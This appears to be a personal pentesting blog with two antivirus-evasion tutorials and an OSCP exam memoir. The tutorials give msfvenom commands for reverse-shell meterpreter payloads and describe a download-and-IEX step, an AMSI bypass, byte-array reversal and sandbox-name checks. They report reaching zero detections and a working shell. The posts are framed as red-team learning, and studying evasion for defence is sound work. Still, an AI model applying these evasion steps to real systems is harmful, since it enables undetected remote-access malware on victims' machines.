26 May 2021
Welcome back to the blog!
If you haven’t read part 1 of the AV Evasion series, you can find it here.
The plan for this post is to show ways to beat signature detection and some AMSI bypasses to reach a low detection rate. If that sounds interesting, let’s Hop to it.
The beautiful thing about .NET is how portable it is. Microsoft is really good about integration throughout their entire ecosystem. This also gives attackers more attack surface to take advantage of. An example of this is transforming our original payload to PowerShell.
We can import kernel32.dll from our original payload by importing it as a type as shown below.
With Kernel32.dll loaded in our PowerShell runspace, we are free to invoke our shellcode runner. If the following functions do not make sense, I urge you to reread part 1 for a deeper explanation of VirtualAlloc,WaitForSingleObject, and CreateThread. Sample code is shown below. A clever reader will notice we are missing our fancy Array.Reverse() method. We have another nifty bypass and its not needed. Stay tuned to find out why.
Finally, we can create new shellcode with msfvenom -p windows/x64/meterpreter/reverse_https lhost=eth0 lport=443 -f ps1
and paste it above our $size variable.
Let’s test our PowerShell Shellcode runner by invoking it with IEX over http traffic. I have named the powershell script local.txt
and have added it to /var/www/html/
webroot in Kali. Let’s pull it with System.Net.Webclient and invoke with IEX
Drats!!!!
it appears AMSI picked up our script. To continue, we will need to understand how AMSI operates.
AMSI, or AntiMalware Scan Interface, is a newish Antivirus technology from Microsoft that scans for malicious activity in memory. At the time of writing this, AMSI is integrated into PowerShell, WScript, CScript, and DotNet executables. I plan on doing a deeper dive discussion on ‘patching’ in a future post, so we won’t get super in depth with this yet. At a high level, once PowerShell is invoked, amsi.dll is injected into the process and executed. AMSI_Scan_Buffer is then used to scan for malicious activity. Because of the way AMSI is currently implemented, the namespace can also patch back into it. Matt Graber wrote the original AMSI bypass for patching the Scan Buffer function to all return clean here.
This has been ‘fixed’ by Microsoft by adding that as a known malicious signature. As we saw in part 1, signature detection isn’t very good and can be bypassed fairly easily. The site amsi.fail was setup to create amsi bypasses. We can easily pull down a payload and get around AMSI to allow our script to run. We will need to keep trying payloads in PowerShell until one works as intended.
We now have a functioning AMSI bypass, with that in place. We can run our ShellCode Runner as intended. Make sure to Enable Stage Encoding in MSF or it will get flagged by AV after dropping the second stage meterpreter shell.
Back to C#
Microsoft really loves integration, so it makes sense that we can invoke PowerShell within our C# app. A quick google search fetches us the official MS doc on how to invoke Powershell in C#. Let’s create a new C# project and add the exact commands listed in the documentation. For this to work, a Reference will need added to Visual Studio with the dll path at c:\Windows\assembly\GAC_MSIL\System.Management.Automation...
The full code can be seen below for our new PowerShell invoking binary. I like to use Raika’s Hub to encode our required PowerShell commands to one line for ease of execution.
Let’s build and test our new application against AntiScan.me
0/26 detections. This is due to our small application calling other methods outside of the binary and pulling the values straight into memory. We have erased all malicious signatures from the binary. Since we stripped AMSI from the binary as well, in-memory protections have decreased as well. Let’s execute the payload on our client to test the result in real time.
We indeed get a working shell.
This includes AV Evasion Part 2. Share the post if you liked it and I Hop to see everyone next time.
11 May 2021
2016: I heard rumors of a very intense hacking course when I was 18. I didn’t believe it at the time, as high school kids can be full of fairy tales, and I still thought hacking was overall illegal.
2017: I was talking with my college’s Cybersecurity Instructor (an ex-pentester), and he recommended I looked into company named Offensive Security. Long and behold, there was the, “Penetration Testing With Kali,” course. I thought I could ace the course in one go after taking my ethical hacking university course (which equated to throwing msf at a wall and hoping something sticks). I was very wrong.
There is going to be a reoccuring theme of failure in this post, so get ready…see if you can spot my problem.
Everyone always recommends the HackTheBox List from TJNull as preparation for the course, so I decided to start there. I couldn’t be bothered to do the starting challenge, so I googled the solution and got in.
From there I knocked out Jerry almost instantly. “This is gonna be too easy,” I thought. I never popped another box for two months. The forums are pretty useless, and I wasn’t on Discord yet as I was nervous about being harassed for being new. “Nessus Free and OpenVAS scanning didn’t reveal any vulnerabilitie, so these had to be advanced attacks!” (That sounds funny to hear, but I am willing to bet a lot of CISOs actually think that) I don’t remember the exact order from there, but I got a few more easy boxes after looking at super vague Reddit posts of other people getting stuck and using context clues. This was a pretty big ego kick. I kept myself motivated by listening to OSCP story Youtube videos, and reading OSCP blog posts.
2018: Through some community service I do, I met a an ex-MITRE researcher who was willing to help show me the ropes. I don’t think I could be in Infosec without this individual. You know who you are! ;) I took one step backwards to take two steps forward. I learned a lot of broad topics covered in the course syllabus from DWVA such as SQLi and XSS along with being gifted a copy of, “Pentesting Testing: A Hands-On Guide To Hacking.” At the same time, I got an internship at a malware research company where I got a deep primer into malware analysis and RE. This gave me a love of malware, made me familiar with the Win32 API, and comfortable living inside of IDA Pro/ debuggers - despite not knowing how to program outside of Python3. For the first time in my journey, I really felt like I was making progress. The internship ended in the Summer of 2018, and I still talk to a few analysts there to this day. My parents were both injured and were handicapped at this point on, and I was taking care of them while working toward my bachelor’s degree - all while working at a managed security provider (MSP). This caused me to take a break from learning while I knocked out the bachelor’s degree by doing double classes on top of my other work.
2019: Shortly after graduating with my Bachelor’s degree, I was laid off from the MSP for downsizing. While this wasn’t optimal, it gave me the free time to start PWK. Around 30 days into my labtime, I found myself newly employed on a DFIR team for a large organization where I still am today.
The IR team lead was enrolled in PWK the same time as me. It was great to assist each other in working through topics such as the Buffer Overflow, and getting nudges in lab machines.
You think I would have learned my lesson on taking shortcuts in 2017, but you’d be wrong. My strategy for the labs was to b-line the extra points documents, and do as many boxes as possible. This was good in theory, but I wouldn’t even attempt the box before reading it on the PWK forums. I justified it in my head such as, “Well, I want to know what the box is about,” but I knew in the back of my head it was a shortcut. I used Sparta/Legion to quickly enumerate boxes and do all the enumeration for me. Technically, it was fair game. I’d usually ask my team lead about the boxes a day or so after being stuck as well if Sparta wasn’t useful.
My lab time ran out, and I had conquered about 20 boxes in the public subnet. Everywhere I read said anywhere between 35-50 to be ready, so I was a bit nervous; however, I assumed I could automate myself through it. Surely, it wouldn’t be that bad and my sleepless nights wouldn’t be for nothing.
Attempt 1: I started my exam around 12 P.M. The proctor was super friendly, and I got to work. I started with the buffer overflow, but had issues and never got it despite practicing several BoF cases such as vulnserver, FreeFTP, SLMail, etc. This broke my morale and scared me. I eventually managed to pop a 20-point box around 5 P.M. which helped me calm down. Around 2 A.M. I quit the exam, and hung my head in defeat, spending the rest of the night sobbing. By 4 A.M., I was upset enough to punch studs in my wall, and bloody my knuckles (which required a trip to get bandaged up).
2020: I went back and practiced Buffer Overflows. After looking at my notes and command history, I knew why it wasn’t working. I had used the “script” command to log all my terminal history during the exam for review. I also bought more lab time, and did the rest of the first lab subnet without hints including gh0st, pain, and sufferance. I was planning on doing humble my last 3 days of time when tragedy struck. I joined a few hacking discords, swallowing my pride with being helped and/or getting harassed, which led to me becoming active in the InfoSec Prep, and the offical HackTheBox Discords. My last 3 days of lab time and a couple days before my second attempt, my girlfriend at the time was, “attacked” (if you know what I mean, I’m sorry) which extrememly messed me up mentally. I was extremely depressed, and drinking a lot in my free time after this. I was not in a healthy state of mind and it caused me to take a week off of work to recover.
Attempt 2: I was in a bartering stage of grief where everything would be okay if I could just pass this attempt. This attempt started at 2 P.M. The buffer overflow was completed by 3:30 P.M. One pro-tip for speed is to really know all of mona.py’s functionality. One 20-point was footholded immediadely after. “This could be the attempt,” I thought. Not even 2 hours in, and I already had 40 points. I hit a mental wall around 7 P.M. where the other 20-point box was footholded and rooted. I had 60 points. Just one more flag, and I was done.
That flag would never come. I could’t get any other flags, and at 1:45 P.M. my exam stopped. An exam report was still sent in. I knew how to escalate privileges on the 20-pointer, but no matter how hard I tried, I just couldn’t quite get it to work. OffSec sent me the fail e-mail, and I was back to being in a bad place. I didn’t eat for a couple days and felt sick. There wasn’t any point in moving.
I needed to prep more. At this point it is Summer 2020. I enrolled in Virtual Hacking Labs to get more practice in, since I screwed myself out of the PWK labs by using the forums incorrectly. I made an unspoken rule that I couldn’t get a hint unless I was stuck for 3, 1 hour long attempts at a box on different days. This isn’t a VHL review, but I may do one in the future (I got their certificate of completition). During that time, I needed help on one box, and a user in my DMs said, “you’ll never get your OSCP if you don’t work harder.” It was true, and it really bothered me…but they were right.
Attempt 3: If you’re still reading this, congrats! You made it to the good part. I started my attempt at 10 A.M. The buffer overflow was conquered in 45 minutes, and I got a foothold on a 20pt box 45 minutes later. I never did figure out what the heck I was supposed to do, and that box still haunts me a bit. Moving on the the other 20pt box, it was rooted in about 30 minutes and was pretty straightforward. I hit the 60-point mark. Just one more flag. Just one more flag.
After bouncing between the 25pt foothold, the 10pt foothold, and the 20pt root, I finally popped the 10pt box after playing around a bit. I celebrated by getting some Fajitas, came back home, and wrote my report. It was finished around 12 A.M. and I went to bed. I woke up at 6:30 A.M., and I tried getting the other boxes…but no dice. The report was submitted at 9:15am Sept 1st, and I waited for the results. Admittedly, I wasn’t in the best mental health, and matters were worse. September 10th my dog was put down, and I told myself that I couldn’t handle it anymore if this was a fail, and I was going to consider a new niche in Infosec. Then…on September 11th at 2 P.M. I had received that glorious pass email, and went out for steak.
The reoccuring theme I mentioned at the beginning was taking shortcuts that were ultimately my downfall. I cheated the enroll on HTB (when I really wasn’t ready to be in there yet), and I abused the forums to get insight on the boxes. Shortcuts ruined the experience and the potential learning curve I could have had which costed me in the long run. I wanted to run before walking, and someone wanting to get into the field just can’t. We all want to be the next IppSec or John Hammond, but even they started somewhere. It’s okay to be stressed out, and stuck on machines. Hacking takes time, and is thankfully difficult. If it were easy, we would all need new SSNs. While I love the tutorials online for CTFs, they don’t show the struggle in the background. They are done ahead of time, and the direct path is shown. Researching the vulnerability/app takes time and it’s okay. It’s not a speedrun. Don’t rely on enumeration tools. Everyone loves AutoRecon/Legion/linpeas, but it’s important to be able to do the enumeration manually in the background. Know each component, and don’t use it as a crutch. It’s okay to ask for help (in moderation). Don’t ask because you want the answer, ask to make progress. You don’t learn by getting the answer quickly, and as much as it sucks, get used to being uncomfortable and uncertain where to go. Staying calm is what makes a good pentester. Take breaks. No one is pointing a weapon at you forcing you to pass. It’s okay to go at your own pace.
While this post isn’t super technical in nature, I hope it does provide some insight on my OSCP journey, and some students can walk away with its lessons.
“Hop” to see everyone next time.
19 Apr 2021
After passing the Offensive Security Certified Professional I felt on top of the world.
But soon reality crept in and I realized that Windows Defender flagged the majority of what I was taught. This gave me a false sense of security from a blue team standpoint in thinking that “Modern Anti-Virus companies are pretty good. There is no way an attacker is sneaking past my EDR.
I was wrong.
It turns out that just playing with the payload a little bit completely negates detection and let’s the red team run free. I want to demonstrate in this post some fundamentals of Anti-Virus evasion.
We will start and see what a vanilla meterpreter payload gets us. The following command will generate a meterpreter .exe file in Kali Linux.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f exe -o blog1.exe
Now let’s upload this to antiscan.me and see how it gets detected. AntiScan.me is used since it doens’t distribute binaries to the AV venders which makes it more stealthy.
18/26 is a fair bit of detection.
(It’s 2021, how do you not detect a vanilla meterpreter payload. Come on vendors).
This would have been the end of me in my original PwK days. Thanks to some basic OSEP training, we have a good base to work with.
Modern day malware heavily utilizes the Win32 API that is built into Windows for several reasons.
- it is built into Windows so functionality doesn't have to be re-written
- It doesn't get flagged by AV
- it is fast and usually well documented.
We choose c# in this demonstration as it is easy to work in and well documented. languages such as Boo and Nim work just as well.
This is a standard Win32 API shellcode runner in c# written in Visual Studio. It uses the following function prototypes that were pulled from P/Invoke.
We will generate some meterpreter c# shellcode and paste where the comment says to.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=eth0 lport=443 -f csharp
Lets compile our shellcode runner and scan again.
15 out of 26 still isn’t great. Let’s play with our code and see if we can’t get it down even farther.
Since we know our Win32 APIs aren’t getting flagged by signature checks. Let’s mess with our shellcode.
Our shellcode get’s stored as an Array in c#. We can store our shellcode backwards and utilize the Array.Reverse() method to restore our shellcode at runtime to evade detection.
We will use this site to reverse our byte array.
We will take the output from the website and put it over our existing shellcode.
Finally, we will implement our Array.Reverse method. I went ahead and changed the buf variable name in case it would be associated with the signature.
Let’s reupload and see how we did.
Our bypass was very sucessful! Only 6 AVs are catching our payload. Unfortunately, Windows Defender is one of them which is enabled on most devices by default
Let’s see if we can’t squeeze past it.
We know our signature detection is pretty good, but what about heuristics?
Unknown applications get executed in a sandbox before being allowed to execute natively. If our payload can detect if we are in a sandbox, we can evade being flagged as malicious and execute.
Most sandboxes will dynamically rename the payload. We will implement a simple process name check in our code and exit gracefully if the .exe is not named “hop.exe”
C# allows us to do this natively with the Diagnostics library using System.Diagnostics.Process.GetCurrentProcess();
Our code now checks to see if our process is named “hop.exe”. Let’s upload one more time to see if we are sucessful.
Excellent, our payload now evades Windows Defender and is only caught by 5 obscure AVs. Even better, the naming convention tells us we are suspect of a known malware variant or heuristics.
A follow up challenge for the reader is to research HEUR/AGEN.1131009 to see what the heuristic behavior our payload is performing and to research the Rozena malware for similarities to our payloads.
This concluses part one of my AV Evasion writeup and my first post.
“Hop” to see everyone next time.